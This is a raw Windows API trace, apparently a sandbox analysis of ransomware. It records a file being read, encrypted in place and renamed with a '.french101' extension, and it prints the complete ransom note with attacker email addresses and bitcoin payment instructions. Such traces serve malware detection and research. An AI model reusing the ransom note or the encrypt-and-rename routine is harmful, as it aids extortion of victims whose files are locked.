GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0283.128] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.128] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0283.128] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.128] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0283.128] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.128] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.128] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.129] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.129] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0283.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0283.129] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da2d0 [0283.130] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0283.130] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0283.130] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0283.132] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0283.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.132] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.132] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xed0c [0283.132] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.132] SetFilePointer (in: hFile=0x308, lDistanceToMove=60684, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xed0c [0283.132] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0283.142] CloseHandle (hObject=0x308) returned 1 [0283.145] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.145] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.145] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xed0d [0283.145] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.145] SetFilePointer (in: hFile=0x308, lDistanceToMove=60684, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xed0c [0283.145] SetEndOfFile (hFile=0x308) returned 1 [0283.150] CloseHandle (hObject=0x308) returned 1 [0283.150] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.151] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.151] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xed0c [0283.151] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.151] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.151] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.151] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.152] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.152] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0283.152] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.152] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.152] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0283.152] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.152] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.152] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.152] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.217] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.217] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.217] SetFilePointer (in: hFile=0x308, lDistanceToMove=60684, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xed0c [0283.217] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0283.217] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xba, lpOverlapped=0x0) returned 1 [0283.218] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.218] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.218] CloseHandle (hObject=0x308) returned 1 [0283.221] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\Yz5AXqULpQhk+lvHwUFYRX2atu7P5qRTT1HiL=JMeuyrhQ.french101" (normalized: "c:\\588bce7c90097ed212\\2052\\yz5axqulpqhk+lvhwufyrx2atu7p5qrtt1hil=jmeuyrhq.french101")) returned 1 [0283.221] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\Yz5AXqULpQhk+lvHwUFYRX2atu7P5qRTT1HiL=JMeuyrhQ.french101" (normalized: "c:\\588bce7c90097ed212\\2052\\yz5axqulpqhk+lvhwufyrx2atu7p5qrtt1hil=jmeuyrhq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.221] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0283.222] CloseHandle (hObject=0x308) returned 1 [0283.222] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\Yz5AXqULpQhk+lvHwUFYRX2atu7P5qRTT1HiL=JMeuyrhQ.french101", dwFileAttributes=0x80) returned 1 [0283.222] CloseHandle (hObject=0x308) returned 0 [0283.222] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.222] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.222] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.222] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.222] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.222] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.222] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.222] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.222] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.223] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0283.223] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0283.223] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0283.223] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0283.223] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0283.223] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\2052\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.223] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.223] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0283.223] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.223] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.223] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0283.223] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.226] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0283.226] CloseHandle (hObject=0x308) returned 1 [0283.226] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.226] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.226] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.226] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.226] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.226] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.226] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.226] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.226] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.226] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.226] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.226] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.226] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.226] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.227] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0283.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0283.227] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0283.227] GetLastError () returned 0x12 [0283.227] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0283.227] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.228] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.228] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.228] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.228] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.228] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.228] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.228] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.228] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.228] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0283.228] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0283.228] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.228] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.228] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.228] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.228] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.228] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.228] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.228] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.229] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 